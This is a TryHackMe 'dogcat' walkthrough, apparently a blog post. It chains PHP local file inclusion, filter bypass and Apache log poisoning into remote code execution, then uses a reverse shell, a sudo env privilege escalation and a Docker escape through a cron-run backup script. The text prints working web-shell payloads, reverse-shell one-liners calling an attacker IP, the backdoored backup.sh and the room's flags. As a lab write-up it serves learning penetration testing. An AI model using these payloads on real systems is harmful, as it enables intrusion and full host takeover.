October 10, 2026
TryHackMe | DogCat Walkthrough From LFI To RCE(Escaping Docker Container)
Author ~ Elite Hacker 1337

By Aditya Singh (Elite Hacker 1337)
13 min read
Author ~ Elite Hacker 1337
Author made a website where you can look at pictures of dogs and/or cats! Exploit a PHP application via LFI and break out of a docker container.
Machine - https://tryhackme.com/room/dogcat
~ Developed by :_ Jammy_
"A computer would deserve to be called intelligent if it could deceive a human into believing that it was human."
~ Alan Turing
Local File Inclusion (LFI) arises when an application incorporates user-controlled input into a filesystem path that is subsequently opened/included by a language runtime that executes the file's contents (PHP include/require, Java include(), JSP jsp:include, Node template loaders, etc.).
LFI_ was emerged from PHP exploitation culture around 2001โ2004 and was formally classified in 2006 as CWE-22/CWE-98 via MITRE's PLOVER project led by Steve Christey._
_________________________________________________________________________________________
INTRODUCTION & ROOM OVERVIEW
The dogcat room is a medium-difficulty TryHackMe challenge that simulates a real-world PHP web application vulnerable to Local File Inclusion (LFI). The application is a simple image gallery that shows pictures of dogs or cats. Beneath that innocent surface lies a chain of exploitable vulnerabilities that ultimately leads to full Docker container escape and host-level root access.
TABLE OF CONTENTS
- Introduction & Room Overview
- Concepts & Theory (Basics to Expert)
- Attack Surface Map
- Attack Flow Flowchart
- Phase 1_ โ Reconnaissance_
- Phase 2_ โ Enumeration & Source Code Discovery_
- Phase 3_ โ LFI Exploitation_
- Phase 4_ โ Log Poisoning โ RCE_
- Phase 5_ โ Reverse Shell (www-data)_
- Phase 6_ โ Privilege Escalation to Root_
- Phase 7_ โ Docker Container Escape_
- Summary
- Mitigation
- Key Takeaways
What you will learn:
- How PHP's
include()function leads to LFI - How to bypass LFI filters (keyword and extension filters)
- How to read PHP source code via PHP stream wrappers
- How to escalate LFI to Remote Code Execution via Apache log poisoning
- How to use Burp Suite to inject PHP into HTTP headers
- How to get a reverse shell as
www-data - How to escalate privileges using a NOPASSWD sudo misconfiguration
- How to escape a Docker container via cron job / backup script hijacking
_________________________________________________________________________
CONCEPTS & THEORY
2.1 What is Local File Inclusion (LFI)?
Local File Inclusion is a web vulnerability that occurs when a PHP application uses user-supplied input directly inside a file-loading function like include(), require(), include_once(), or require_once() โ without properly sanitising the input.
Conceptual model:
User Input โ PHP include($_GET['view']) โ Server reads file โ Output to browserUser Input โ PHP include($_GET['view']) โ Server reads file โ Output to browserIf an attacker controls the view parameter, they can potentially make the server read any file on its filesystem โ /etc/passwd, SSH private keys, application source code, or even log files containing injected PHP code.
Why is it dangerous?
- At minimum:_ information disclosure (reading sensitive files)_
- Chained with log poisoning:_ full Remote Code Execution_
- Chained further:_ privilege escalation, container escape_
2.2 PHP include() - How it Works
include $_GET['view'] . $ext;include $_GET['view'] . $ext;When PHP encounters include, it reads the target file and executes any PHP code inside it as if it were part of the current script. This is the crucial detail that makes log poisoning possible: if you can write PHP code into a file that PHP then include()s, that PHP code executes on the server.
2.3 PHP Stream Wrappers
PHP has a concept called "stream wrappers" - special URI-like protocols that PHP's file functions understand. The most important one for LFI exploitation is:
php://filter/convert.base64-encode/resource=<filename>php://filter/convert.base64-encode/resource=<filename>This wrapper reads a file, base64-encodes its contents, and returns the encoded string. This is essential when trying to read .php files because normally PHP would execute them instead of showing their source. Base64-encoding bypasses execution and lets you read the raw source code.
Other wrappers:
php://input- reads raw POST bodydata://- reads inline data as a fileexpect://- executes commands (rarely available)zip://- reads from ZIP archives
2.4 Apache Access Log Poisoning
Apache's access log (/var/log/apache2/access.log) records every HTTP request made to the server. The format typically is:
[IP] - - [timestamp] "METHOD /path HTTP/version" status size "-" "User-Agent"[IP] - - [timestamp] "METHOD /path HTTP/version" status size "-" "User-Agent"The User-Agent field is logged as-is, with no sanitisation. If you inject PHP code into the User-Agent header:
User-Agent: <?php system($_GET['cmd']); ?>User-Agent: <?php system($_GET['cmd']); ?>That PHP code gets written verbatim into the log file. Then, when you use LFI to include() that log file, PHP executes the injected code. The cmd GET parameter then acts as your command interface - this is called a web shell.
2.5 What is a Reverse Shell?
A reverse shell is a connection where the victim machine connects back to the attacker's machine, rather than the attacker connecting to the victim. This bypasses inbound firewall rules since the connection originates from the target.
Attacker machine (nc -nvlp 4444) โโโ Victim machine (sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)Attacker machine (nc -nvlp 4444) โโโ Victim machine (sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)The bash one-liner commonly used:
sh -i >& /dev/tcp/192.168.139.255/4444 0>&1sh -i >& /dev/tcp/192.168.139.255/4444 0>&1Breaking it down:
sh -i- interactive shell- >& - redirect stdout and stderr
/dev/tcp/IP/PORT- Linux's built-in TCP socket pseudo-file0>&1- redirect stdin to stdout (making it bidirectional)
2.6 Docker Containers vs Host System
A Docker container is an isolated Linux environment that shares the host's kernel but has its own filesystem, processes, and network namespace. In this room, the PHP web application runs inside a Docker container. Even after gaining root inside the container, you are still inside an isolated environment - not on the actual host machine.
Container escape_ involves finding a way to break out of that isolation boundary. Common techniques include:_
- Writable host filesystem mounts
- Misconfigured cron jobs running on the host
- Docker socket access
- Privileged containers
In this room, the escape path is a cron job on the host that periodically runs a backup script (backup.sh) located inside the container's volume mount - a script that attackers can modify to inject a second reverse shell.
_________________________________________________________________________
ATTACK SURFACE & ATTACK FLOW ANALYSIS
3. ATTACK SURFACE MAPPING
4. ATTACK FLOW FLOWCHART
_________________________________________________________________________
EXPLOITATION & POST-EXPLOITATION
5. PHASE 1 - RECONNAISSANCE
5.1 Network Scanning using Nmap
The first step in any penetration test is reconnaissance - understanding what services are exposed on the target machine.
nmap -sCV -oA nmap/dogcat 10.48.160.191nmap -sCV -oA nmap/dogcat 10.48.160.191Flag breakdown:
-sC- run default NSE scripts (banner grabbing, version detection helpers)-sV- detect service versions-oA nmap/dogcat- save output in all formats (normal, XML, grepable)
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.38 ((Debian))PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.38 ((Debian))What this tells us:
- SSH is open but we have no credentials โ_ web is our entry point_
- Apache 2.4.38 on Debian is running on port 80
- The kernel is
4.15.0-96-generic(visible later after shell) - older Ubuntu, potential kernel exploits exist as fallback
5.2 Initial Web Browsing
Navigating to http://10.48.160.191/?view=dogreveals the dogcat gallery - a simple page with two buttons: "A dog" and "A cat" (Image 20).
Clicking "A dog" changes the URL to:
http://10.48.160.191/?view=doghttp://10.48.160.191/?view=dog
This is immediately suspicious. The view GET parameter is being used to load content. This is a classic PHP include() pattern. The application is likely doing something like:
include($_GET['view'] . '.php');include($_GET['view'] . '.php');The .php extension being appended automatically is confirmed when we try to load arbitrary files without it - the error message tells us.
6. PHASE 2 - ENUMERATION & SOURCE CODE DISCOVERY
6.1 Testing for LFI
Let's test by trying to navigate outside the web root:
The application has a filter! It checks whether the view parameter contains the string "dog" or "cat". We need to bypass this.
6.2 Bypassing the Keyword Filter
The trick:_ include "dog" or "cat" somewhere in the path, even if it's a traversal component._
Progress! The keyword filter is bypassed. But now we see a new problem: .php is being appended. The file it tried to open was passwd - which doesn't exist.
We have discovered two filters:
- The
viewparameter must contain "dog" or "cat" - A
.phpextension is automatically appended
6.3 Reading index.php Source Code - PHP Filter Wrapper
Before bypassing the extension filter, let's first understand the application's code. We use the PHP php://filter stream wrapper with base64 encoding so PHP doesn't execute the file - it just encodes and returns it.
curl 'http://10.49.187.56/?view=php://filter/convert.base64-encode/resource=./dog/../index'curl 'http://10.49.187.56/?view=php://filter/convert.base64-encode/resource=./dog/../index'
The URL contains "dog" so it passes the keyword filter. The php://filter wrapper bypasses the extension problem because it handles the file directly.
Result:_ A long base64 string in the response. Decode it:_
echo -n 'PCFET0NUWVBFIEhUTUw+...[base64]...' | base64 -d > index.phpecho -n 'PCFET0NUWVBFIEhUTUw+...[base64]...' | base64 -d > index.php
Decoded index.php:
<?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?><?php
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(isset($_GET['view'])) {
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
echo 'Here you go!';
include $_GET['view'] . $ext;
} else {
echo 'Sorry, only dogs or cats are allowed.';
}
}
?>
Critical analysis line by line:
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';- If the
extGET parameter is set, use it; otherwise default to.php - This means we can set
ext=(empty string) to remove the forced.phpextension entirely!
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat'))if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat'))- Simple substring check - does "view" contain "dog" OR "cat" anywhere in the string?
- Bypass:_ embed "dog" or "cat" anywhere in a valid-looking path using ../ traversal._
include $_GET['view'] . $ext;include $_GET['view'] . $ext;- The raw unsanitised
viewparameter is passed directly toinclude()- this is the LFI
7. PHASE 3 - LFI EXPLOITATION
7.1 Bypassing Both Filters
With the source code understood, we can craft a URL that bypasses both filters:
Strategy:
- Use
./dog/as a valid starting path component (contains "dog" โ passes keyword filter) - Use ../ to traverse up to root
- Use
&ext=(empty) to prevent.phpfrom being appended
Reading /etc/passwd:
Result:
LFI fully confirmed._ We are reading arbitrary system files._
7.2 Verifying Apache Log Access
_Before we can do log poisoning, we need to confirm the access log is readable via _LFI:
curl 'http://10.49.167.93/?view=./dog/../../../../../var/log/apache2/access.log&ext='curl 'http://10.49.167.93/?view=./dog/../../../../../var/log/apache2/access.log&ext='
Result:_ The raw Apache access log contents are returned and rendered. We can see entries like:_
The User-Agent string is clearly visible in the log. This is our injection point.
8. PHASE 4 - LOG POISONING โ RCE
8.1 Understanding Log Poisoning in Depth
The Apache access log stores every request, including the HTTP User-Agent header, verbatim. There is no sanitisation or encoding. If we send a request with a PHP payload as our User-Agent, that PHP code gets written into the log file. Then, when PHP include()s that log file via LFI, the PHP engine parses and executes the code.
This is the chain:
Attacker sends malicious User-Agent โ Written to access.log
โ LFI reads/includes access.log โ PHP executes the payload
โ Attacker passes cmd= parameter โ Arbitrary OS commands runAttacker sends malicious User-Agent โ Written to access.log
โ LFI reads/includes access.log โ PHP executes the payload
โ Attacker passes cmd= parameter โ Arbitrary OS commands run8.2 Injecting PHP Payload via Burp Suite
Using Burp Suite, intercept any request to the target and modify the User-Agent header.
Step 1:_ Open Burp Suite โ Proxy โ Intercept ON_
Step 2: Browse to http://10.49.167.93/
Step 3:_ In the intercepted request, replace the User-Agent line:_
This specific payload explained:
<?php ... ?>- PHP opening and closing tagsshell_exec()- executes a shell command and returns the complete output as a string$_GET['cmd']- reads thecmdGET parameter, giving us a command interfaceecho- prints the output back into the HTTP response
Alternative payload:
<?php system($_GET['cmd']); ?><?php system($_GET['cmd']); ?>system()โ executes the command AND prints output directly, slightly simpler
Step 4:_ Forward the request. The PHP code is now in the log file._
8.3 Triggering RCE โ Testing with whoami
Now include the log file via LFI and pass a command:
curl 'http://10.49.167.93/?view=./dog/../../../../../var/log/apache2/access.log&ext=&cmd=whoami'curl 'http://10.49.167.93/?view=./dog/../../../../../var/log/apache2/access.log&ext=&cmd=whoami'Result:_ Inside the log output you will see one of the log lines now outputs:_
www-datawww-data_Instead of a User-Agent string, you see command output - _RCE is confirmed!
8.4 Enumerating the Filesystem via RCE
List web root:
Output:
9. PHASE 5 โ REVERSE SHELL
9.1 Why We Need a Reverse Shell
The RCE via log poisoning works, but it's clunky:
- Every command requires a new HTTP request
- The output is buried inside log file HTML
- No interactivity, no tab completion, no persistent session
- The log grows with every request and becomes slow
A proper reverse shell gives us a real interactive terminal session.
9.2 Setting Up the Listener
On the attacker machine:
nc -nvlp 4444nc -nvlp 4444-n- don't resolve hostnames (faster)-v- verbose-l- listen mode-p 4444- on port 4444
๐ฉ FLAG 1: THM{Th1s_1s_N0t_4_Catdog_ab67edfa}
๐ฉ FLAG 2: THM{LF1_t0_RC3_aec3fb}
9.3 Sending the Reverse Shell Payload
The PHP one-liner reverse shell via the cmd parameter (URL-encoded):
cmd=php%20-r%20'$sock=fsockopen("192.168.139.255",4444);exec("/bin/sh%20-i%20<%263%20>%263%202>%263");'cmd=php%20-r%20'$sock=fsockopen("192.168.139.255",4444);exec("/bin/sh%20-i%20<%263%20>%263%202>%263");'Decoded:
php -r '$sock=fsockopen("192.168.139.255",4444);exec("/bin/sh -i <&3 >&3 2>&3");'php -r '$sock=fsockopen("192.168.139.255",4444);exec("/bin/sh -i <&3 >&3 2>&3");'Alternatively, the bash /dev/tcp method:
The Burp Suite request shows the full log poisoning + reverse shell trigger:
GET /?view=./dog/../../../../var/log/apache2/access.log&ext=&cmd=php%20-r%20'$sock%3D...
User-Agent: <?php system($_GET['cmd']);?>GET /?view=./dog/../../../../var/log/apache2/access.log&ext=&cmd=php%20-r%20'$sock%3D...
User-Agent: <?php system($_GET['cmd']);?>9.4 Shell Received
Result:
nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.139.255] from (UNKNOWN) [10.49.181.162] 34602
sh: 0: can't access tty; job control turned offnc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.139.255] from (UNKNOWN) [10.49.181.162] 34602
sh: 0: can't access tty; job control turned off
We have a shell as www-data - the Apache web server user.
Upgrade to a proper TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z to background
stty raw -echo; fgpython3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z to background
stty raw -echo; fg10. PHASE 6 - PRIVILEGE ESCALATION TO ROOT
10.1 Checking sudo Permissions
Once we have a shell as www-data, the first thing to check is what commands this user can run with elevated privileges:
sudo -lsudo -lResult:
Critical finding: www-data can run /usr/bin/env as root with no password (NOPASSWD).
10.2 Exploiting /usr/bin/env for Root Shell
/usr/bin/env is a Unix utility that sets environment variables and runs a program. When you can run env as root without a password, you can use it to launch any command as root - including a shell.
sudo /usr/bin/env /bin/shsudo /usr/bin/env /bin/sh
Why this works:
env inherits root privileges from sudo and then executes /bin/sh - spawning a root shell in the same privilege context.
Result:
whoami
rootwhoami
rootWe are now root inside the Docker container.
10.3 Finding Flag 3
cd /root
ls
flag3.txt
cat flag3.txtcd /root
ls
flag3.txt
cat flag3.txt
Result:
๐ฉ FLAG 3: THM{D1ff3r3nt_3nv1ronments_874112}
10.4 Confirming We Are Inside a Container
Several indicators tell us we're in a Docker container, not the host:
# The hostname is a random hash โ typical of Docker containers
hostname
37ce53baed71
# Container has /.dockerenv file
ls /.dockerenv
# /proc/1/cgroup shows docker entries
cat /proc/1/cgroup
# Shows: /docker/<container_id>
# The filesystem root shows minimal structure typical of containers
ls /
bin boot dev etc home lib lib64 media mnt opt proc root run sbin snap srv swap.img sys tmp usr var vmlinuz vmlinuz.old# The hostname is a random hash โ typical of Docker containers
hostname
37ce53baed71
# Container has /.dockerenv file
ls /.dockerenv
# /proc/1/cgroup shows docker entries
cat /proc/1/cgroup
# Shows: /docker/<container_id>
# The filesystem root shows minimal structure typical of containers
ls /
bin boot dev etc home lib lib64 media mnt opt proc root run sbin snap srv swap.img sys tmp usr var vmlinuz vmlinuz.oldAlso, uname -a revealed earlier:
Linux 37ce53baed71 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/LinuxLinux 37ce53baed71 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/LinuxThe hostname 37ce53baed71 is a dead giveaway of a Docker container.
11. PHASE 7 - DOCKER CONTAINER ESCAPE
11.1 Exploring the Container for Escape Vectors
As root inside the container, we need to find a way to affect the host system. Let's look for volume mounts or shared directories:
ls /
# Notice: there's no flag4.txt here
# But there IS a /root/container directory
cd /root/container
ls -lals /
# Notice: there's no flag4.txt here
# But there IS a /root/container directory
cd /root/container
ls -la
Result:
drwxr-xr-x 5 root root 4096 Mar 10 2020 .
drwx------ 6 root root 4096 Apr 8 2020 ..
drwxr-xr-x 2 root root 4096 Apr 8 2020 backup
-rw-r--r-- 1 root root 733 Mar 10 2020 Dockerfile
drwxr-xr-x 8 root root 4096 Mar 6 2020 .git
-rwxr-xr-x 1 root root 83 Mar 10 2020 launch.sh
drwxr-xr-x 4 root root 4096 Mar 10 2020 srcdrwxr-xr-x 5 root root 4096 Mar 10 2020 .
drwx------ 6 root root 4096 Apr 8 2020 ..
drwxr-xr-x 2 root root 4096 Apr 8 2020 backup
-rw-r--r-- 1 root root 733 Mar 10 2020 Dockerfile
drwxr-xr-x 8 root root 4096 Mar 6 2020 .git
-rwxr-xr-x 1 root root 83 Mar 10 2020 launch.sh
drwxr-xr-x 4 root root 4096 Mar 10 2020 srcThe /root/container directory contains the Docker container build files - this is very interesting. It suggests this directory is mounted from the host.
Navigate to the backup directory:
cd /root/container/backup
lscd /root/container/backup
lsOr from the host perspective (we discover via the reverse shell that maps to /opt/backups on host):
Result:
backup.sh
backup.tar
#Read backup.sh
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/containerbackup.sh
backup.tar
#Read backup.sh
cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container_This script is creating a tar archive of the entire container directory. The key question: _who runs this script and when?
11.2 Identifying the Cron Job
Inside the container, we check /etc/crontab and cron directories - but crontab -e gives an error because we're in a minimal container. However, we know from the fact that backup.tar exists and has a recent modification time that something is running this script automatically.
On the host side (discovered after escape), there is a root-level cron job that periodically executes backup.sh.
The crucial insight: backup.sh is writable by us (root inside the container) and it runs as root on the host. We can inject a reverse shell command into it.
11.3 Injecting the Reverse Shell into backup.sh
From inside the container as root:
echo "sh -i >& /dev/tcp/192.168.139.255/4444 0>&1" >> backup.shecho "sh -i >& /dev/tcp/192.168.139.255/4444 0>&1" >> backup.shVerify the injection:
cat backup.shcat backup.shResult:
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
sh -i >& /dev/tcp/192.168.139.255/4444 0>&1#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
sh -i >& /dev/tcp/192.168.139.255/4444 0>&1
11.4 Setting Up the Second Listener
On the attacker machine, open a new terminal and listen on port 4444 again (or a different port):
nc -nvlp 4444
listening on [any] 4444 ...nc -nvlp 4444
listening on [any] 4444 ...11.5 Waiting for the Cron Job to Execute
The cron job runs at a set interval (typically every minute or few minutes in CTF scenarios). Once it fires, it executes backup.sh - which now contains our reverse shell payload - as root on the host machine.
Result:
nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.139.255] from (UNKNOWN) [10.49.181.162] 47798
sh: 0: can't access tty; job control turned off
# whoami
root
# cd /root
# ls
container
flag4.txt
# cat flag4.txt
THM{esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.139.255] from (UNKNOWN) [10.49.181.162] 47798
sh: 0: can't access tty; job control turned off
# whoami
root
# cd /root
# ls
container
flag4.txt
# cat flag4.txt
THM{esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}
Notice the filesystem: /root now contains container/ and flag4.txt - this is the host's /root, not the container's. The container escape was successful.
๐ฉ FLAG 4: THM{esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}
Stay Updated, Keep Hacking, Keep Exploring โฆโฆโฆโฆโฆโฆโฆโฆ